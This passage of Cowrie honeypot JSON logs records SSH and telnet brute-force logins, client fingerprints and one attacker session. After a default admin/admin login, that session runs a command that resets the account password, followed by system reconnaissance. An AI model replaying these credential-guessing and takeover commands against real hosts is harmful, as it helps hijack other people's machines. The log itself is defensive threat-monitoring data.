28-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:00.341360Z","src_ip":"87.251.64.176","session":"aa5d5706f01c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":50362,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9c69ceb9e99","protocol":"ssh","message":"New connection: 4.213.160.153:50362 (159.203.135.109:22) [session: c9c69ceb9e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:00.387094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:00.395389Z","src_ip":"4.213.160.153","session":"c9c69ceb9e99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:00.589934Z","src_ip":"4.213.160.153","session":"c9c69ceb9e99","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:00.642989Z","src_ip":"87.251.64.176","session":"aa5d5706f01c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:00.745852Z","session":"aa5d5706f01c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:00.844945Z","src_ip":"87.251.64.176","session":"aa5d5706f01c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:00.945687Z","src_ip":"87.251.64.176","session":"aa5d5706f01c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:01.347935Z","src_ip":"4.213.160.153","session":"c9c69ceb9e99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":33190,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dd8af0335e8","protocol":"telnet","message":"New connection: 50.6.3.16:33190 (10.17.0.5:23) [session: 1dd8af0335e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:01.994701Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":33206,"dst_ip":"10.17.0.5","dst_port":23,"session":"527bcf35f8f2","protocol":"telnet","message":"New connection: 50.6.3.16:33206 (10.17.0.5:23) [session: 527bcf35f8f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:02.366282Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:02.549219Z","src_ip":"4.213.160.153","session":"c9c69ceb9e99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":50370,"dst_ip":"159.203.135.109","dst_port":22,"session":"95a0cbbe8cfc","protocol":"ssh","message":"New connection: 4.213.160.153:50370 (159.203.135.109:22) [session: 95a0cbbe8cfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:02.729700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:02.741829Z","src_ip":"4.213.160.153","session":"95a0cbbe8cfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:02.928834Z","src_ip":"4.213.160.153","session":"95a0cbbe8cfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:03.699314Z","src_ip":"4.213.160.153","session":"95a0cbbe8cfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.066654920578003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:04.390990Z","src_ip":"50.6.3.16","session":"20466d0f8865","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:04.893557Z","src_ip":"4.213.160.153","session":"95a0cbbe8cfc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:05.169299Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:05.173392Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:05.365901Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:05.783897Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin1!\\nw00quwhzpKLC\\nw00quwhzpKLC\"|passwd|bash","message":"CMD: echo -e \"admin1!\\nw00quwhzpKLC\\nw00quwhzpKLC\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:05.787470Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:05.790663Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:05.793554Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/88eb2fd4280f838545f362d2affed88a4af50ca9a174db423a9cb6c4824c8eff","size":32,"shasum":"88eb2fd4280f838545f362d2affed88a4af50ca9a174db423a9cb6c4824c8eff","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/88eb2fd4280f838545f362d2affed88a4af50ca9a174db423a9cb6c4824c8eff after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:05.987730Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:06.437696Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin1!\\nw00quwhzpKLC\\nw00quwhzpKLC\\n\"|passwd","message":"CMD: echo \"admin1!\\nw00quwhzpKLC\\nw00quwhzpKLC\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:06.443306Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.06466841697693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:06.450434Z","src_ip":"50.6.3.16","session":"2bd2d31a9dab","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5ad3c9e5254c03068f886f23174ced37ce1c757a593d9691212127f9f557f2ff","size":25,"shasum":"5ad3c9e5254c03068f886f23174ced37ce1c757a593d9691212127f9f557f2ff","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5ad3c9e5254c03068f886f23174ced37ce1c757a593d9691212127f9f557f2ff after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:06.632530Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:07.102454Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:07.105754Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:07.299851Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.103085279464722,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:07.469980Z","src_ip":"196.64.40.185","session":"d217ee84743a","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:07.726402Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:07.730870Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:07.948717Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:08.372816Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:08.376688Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:08.380659Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:08.583790Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":58294,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f95e0fa1402","protocol":"telnet","message":"New connection: 50.6.3.16:58294 (10.17.0.5:23) [session: 3f95e0fa1402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:08.948505Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:09.065052Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:09.071305Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:09.265235Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:09.691220Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:09.694980Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.27688956260681,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:09.701590Z","src_ip":"50.6.3.16","session":"510f28177456","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:09.894028Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:10.350122Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:10.355163Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.117920398712158,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:10.363340Z","src_ip":"50.6.3.16","session":"2791de349ed3","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:10.562233Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:10.984102Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:10.987991Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:11.184879Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:11.605679Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:11.609603Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:11.798293Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:12.221736Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:12.225618Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:12.413066Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:12.845476Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
